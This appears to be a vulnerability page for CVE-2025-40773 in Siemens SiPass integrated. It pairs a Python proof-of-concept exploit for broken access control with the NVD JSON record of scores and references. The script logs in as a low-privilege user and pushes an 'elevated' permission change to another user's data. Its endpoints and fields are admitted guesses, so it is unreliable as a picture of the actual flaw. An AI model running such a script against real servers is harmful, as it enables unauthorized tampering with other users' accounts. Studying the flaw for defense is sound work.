CVE-2025-40773

# CVE-2025-40773 - SiPass integrated Broken Access Control PoC # This PoC demonstrates the concept of exploiting broken access control # in SiPass integrated server applications via specific API requests. import requests # Target server configuration TARGET_HOST = "https://<target-sipass-server>" TARGET_API_ENDPOINT = "/api/v1/users/{user_id}/data" # Example endpoint # Attacker credentials (low-privilege authenticated user) ATTACKER_USERNAME = "low_priv_user" ATTACKER_PASSWORD = "password123" # Target user ID whose data the attacker wants to manipulate TARGET_USER_ID = "admin_user_id" def exploit_broken_access_control(): """ Exploit broken access control by sending API request with low-privilege credentials to manipulate another user's data. """ session = requests.Session() # Step 1: Authenticate with low-privilege credentials login_url = f"{TARGET_HOST}/api/v1/auth/login" login_payload = { "username": ATTACKER_USERNAME, "password": ATTACKER_PASSWORD } response = session.post(login_url, json=login_payload) if response.status_code != 200: print("[-] Authentication failed") return token = response.json().get("token") headers = {"Authorization": f"Bearer {token}"} # Step 2: Send API request to manipulate another user's data # The server fails to verify if the authenticated user has # permission to access/modify the target user's data target_url = f"{TARGET_HOST}{TARGET_API_ENDPOINT}".replace( "{user_id}", TARGET_USER_ID ) # Manipulate data belonging to another user malicious_payload = { "field": "value", "permission_level": "elevated" } response = session.put(target_url, json=malicious_payload, headers=headers) if response.status_code == 200: print("[+] Access control bypassed successfully!") print("[+] Data of another user has been manipulated") else: print(f"[-] Request failed with status code: {response.status_code}") if __name__ == "__main__": exploit_broken_access_control() # Note: This PoC is for educational purposes only. # The actual API endpoints and request format may vary. # Affected versions: SiPass integrated < V3.0

{"cve": {"id": "CVE-2025-40773", "sourceIdentifier": "[email protected]", "published": "2025-10-14T10:15:38.667", "lastModified": "2025-10-16T15:01:12.293", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in SiPass integrated (All versions < V3.0). Affected server applications contains a broken access control vulnerability. The authorization mechanism lacks sufficient server-side checks, allowing an attacker to execute a specific API request.\r\n\r\nSuccessful exploitation allows an attacker to potentially manipulate data belonging to other users."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:siemens:sipass_integrated:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.00", "matchCriteriaId": "B14D3EF7-F7F6-4B14-BBB0-B5A04AB81C38"}]}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-599451.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}